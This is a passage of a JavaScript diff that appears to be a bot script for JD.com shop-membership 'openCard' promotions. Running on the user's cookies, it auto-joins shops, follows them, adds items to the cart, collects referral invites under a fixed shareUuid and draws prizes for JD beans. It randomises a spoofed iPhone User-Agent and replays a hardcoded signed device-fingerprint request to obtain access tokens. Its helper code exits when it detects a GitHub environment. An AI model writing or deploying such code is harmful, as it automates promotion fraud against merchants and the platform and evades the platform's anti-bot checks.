`activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` + $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getDrawRecordHasCoupon', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + data = JSON.parse(data) + console.log(`我的奖品:`) + let num = 0 + let value = 0 + for(let i in data.data){ + let item = data.data[i] + if(item.value == '邀请好友') num++; + if(item.value == '邀请好友') value = item.infoName.replace('京豆',''); + if(item.value != '邀请好友') console.log(`${item.infoType != 10 && item.value +':' || ''}${item.infoName}`) + } + if(num > 0) console.log(`邀请好友(${num}):${num*parseInt(value, 10) || 30}京豆`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} +function getShareRecord() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` + $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getShareRecord', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + $.log(`=========== 你邀请了:${data.data.length}个`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function addSku() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&taskType=2&taskValue=100017628668` + $.post(taskPostUrl('/dingzhi/dz/openCard/saveTask', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if(data.errorMessage) console.log(`加购:${data.errorMessage || ''}`) + if(data.count == 0 && data.result == true){ + let msg = '' + if(data.data.addBeanNum){ + msg = `${data.data.addBeanNum}京豆` + } + console.log(`加购获得:${ msg || '空气💨'}`) + }else{ + $.log($.toStr(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function followShop() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&taskType=23&taskValue=1000003443` + $.post(taskPostUrl('/dingzhi/dz/openCard/followShop', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if(data.errorMessage) console.log(`关注:${data.errorMessage || ''}`) + if(data.count == 0 && data.result == true){ + let msg = '' + if(data.data.addBeanNum){ + msg = `${data.data.addBeanNum}京豆` + } + if(data.data.beanNumMember && data.data.assistSendStatus){ + msg += ` 额外获得:${data.data.beanNumMember}京豆` + } + console.log(`关注获得:${ msg || '空气💨'}`) + }else{ + $.log($.toStr(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getshopactivityId(venderId) { + return new Promise(resolve => { + $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { + try { + data = JSON.parse(data); + if(data.success == true){ + // console.log($.toStr(data.result)) + // console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) + $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function shopactivityId(functionId) { + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/1760960?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} +function join(venderId) { + return new Promise(async resolve => { + $.shopactivityId = '' + await $.wait(1000) + await getshopactivityId(venderId) + $.get(ruhui(`${venderId}`), async (err, resp, data) => { + try { + // console.log(data) + data = JSON.parse(data); + if(data.success == true){ + $.log(data.message) + if(data.result && data.result.giftInfo){ + for(let i of data.result.giftInfo.giftList){ + console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) + } + } + }else if(data.success == false){ + $.log(data.message) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function ruhui(functionId) { + let activityId = `` + if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/1760960?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} + +function startDraw(type) { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&type=${type}` + $.post(taskPostUrl('/dingzhi/dz/openCard/startDraw', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // $.log($.toStr(data)) + data = $.toObj(data); + if(data.errorMessage || data.data.errorMessage) console.log(`抽奖:${data.errorMessage || data.data.errorMessage || ''}`) + if(data.count == 0 && data.result == true){ + console.log(`抽奖获得:${data.data.drawOk && data.data.name || '空气💨'}`) + }else{ + $.log($.toStr(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} +function checkOpenCard() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}` + $.post(taskPostUrl('/dingzhi/dz/openCard/checkOpenCard', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(res && res.data || ''); + } + }) + }) +} + + +function drawContent() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/dingzhi/taskact/openCardcommon/drawContent`, + body: `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/1760960?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getActorUuid() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activityContent`, + body: `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.myPingData.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/1760960?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(typeof res.data.followShop.allStatus != 'undefined') $.followShop = res.data.followShop.allStatus + if(typeof res.data.addSku.allStatus != 'undefined') $.addSku = res.data.addSku.allStatus + if(typeof res.data.actorUuid != 'undefined') $.actorUuid = res.data.actorUuid + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`activityContent ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getUserInfo() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/wxActionCommon/getUserInfo`, + body: `pin=${encodeURIComponent($.myPingData.secretPin)}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Referer': `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/1760960?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getUserInfo API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(res.data && typeof res.data.yunMidImageUrl != 'undefined') $.attrTouXiang = res.data.yunMidImageUrl || "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`getUserInfo ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function adLog() { + return new Promise(resolve => { + let pageurl = `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/1760960?activityId=${$.activityId}&shareUuid=${$.shareUuid}` + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/common/accessLogWithAD`, + body: `venderId=${$.venderId}&code=99&pin=${encodeURIComponent($.myPingData.secretPin)}&activityId=${$.activityId}&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // data = JSON.parse(data); + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + let LZ_TOKEN_KEY = setcookie.filter(row => row.indexOf("LZ_TOKEN_KEY") !== -1)[0] + if(LZ_TOKEN_KEY && LZ_TOKEN_KEY.indexOf("LZ_TOKEN_KEY=") > -1){ + $.LZ_TOKEN_KEY = LZ_TOKEN_KEY.split(';') && (LZ_TOKEN_KEY.split(';')[0]) || '' + $.LZ_TOKEN_KEY = $.LZ_TOKEN_KEY.replace('LZ_TOKEN_KEY=','') + } + let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] + if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ + $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' + $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getHtml() { + return new Promise(resolve => { + $.get({ + url: `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/1760960?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'X-Requested-With': 'com.jingdong.app.mall', + 'Cookie': `IsvToken=${$.isvObfuscatorToken}; LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getMyPing() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + body: `userId=${$.shopId || $.venderId}&token=${$.isvObfuscatorToken}&fromType=APP`, + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'lzdz1-isv.isvjcloud.com', + 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/1760960?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getMyPing API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + let lz_jdpin_token = setcookie.filter(row => row.indexOf("lz_jdpin_token") !== -1)[0] + $.lz_jdpin_token = '' + if(lz_jdpin_token && lz_jdpin_token.indexOf("lz_jdpin_token=") > -1){ + $.lz_jdpin_token = lz_jdpin_token.split(';') && (lz_jdpin_token.split(';')[0] + ';') || '' + } + let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] + if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ + $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' + $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(res.data || ''); + } + }) + }) +} +function getSimpleActInfoVo() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/dz/common/getSimpleActInfoVo`, + body: `activityId=${$.activityId}`, + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'lzdz1-isv.isvjcloud.com', + 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/1760960?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getSimpleActInfoVo API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(typeof res.data.shopId != 'undefined') $.shopId = res.data.shopId + if(typeof res.data.venderId != 'undefined') $.venderId = res.data.venderId + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`getSimpleActInfoVo ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getWxCommonInfoToken () { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/wxCommonInfo/token`, + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'lzdz1-isv.isvjcloud.com', + 'Origin':'https://lzdz1-isv.isvjcloud.com', + 'Referer': `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/1760960?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': cookie, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} wxCommonInfo API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(typeof res.data.LZ_TOKEN_KEY != 'undefined') $.LZ_TOKEN_KEY = res.data.LZ_TOKEN_KEY + if(typeof res.data.LZ_TOKEN_VALUE != 'undefined') $.LZ_TOKEN_VALUE = res.data.LZ_TOKEN_VALUE + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`token ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getIsvObfuscatorToken () { + return new Promise(resolve => { + $.post({ + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + body: 'area=16_1315_3486_59648&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167764&client=apple&clientVersion=10.0.10&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=68&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=3c9b9db164cc8d694603ca6e3d7fb003&st=1628423908868&sv=102&uemps=0-0&uts=0f31TVRjBSuihfC/1D/2G8oVbUW0Pu4uJDif0Ehi7AVzM40fF9GfNX0yawFyBpTXK/PgWitxArFfBLGK%2Be2W5Pno6b7J4iivmXiQYbYPZi7fbVYEHb8Xa5JAi/fbdr/QeztGPJhLoPHKsXGU39PgzC1cWUEVezUyvHVtAuVQGBR%2Bj6Cx5kcez%2BkVn3IH8dKrAI6kA/Ct%2BQopU%2BROo1oY2w%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'api.m.jd.com', + 'Cookie': cookie, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} isvObfuscator API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object'){ + if(typeof res.token != 'undefined') $.isvObfuscatorToken = res.token + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskPostUrl(url, body) { + return { + url: `https://lzdz1-isv.isvjcloud.com${url}`, + body: body, + headers: { + "Accept": "application/json", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': `${cookie} LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + "Host": "lzdz1-isv.isvjcloud.com", + "Origin": "https://lzdz1-isv.isvjcloud.com", + "X-Requested-With": "XMLHttpRequest", + "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/1760960?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + "User-Agent": $.UA , + } + } +} + +function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let 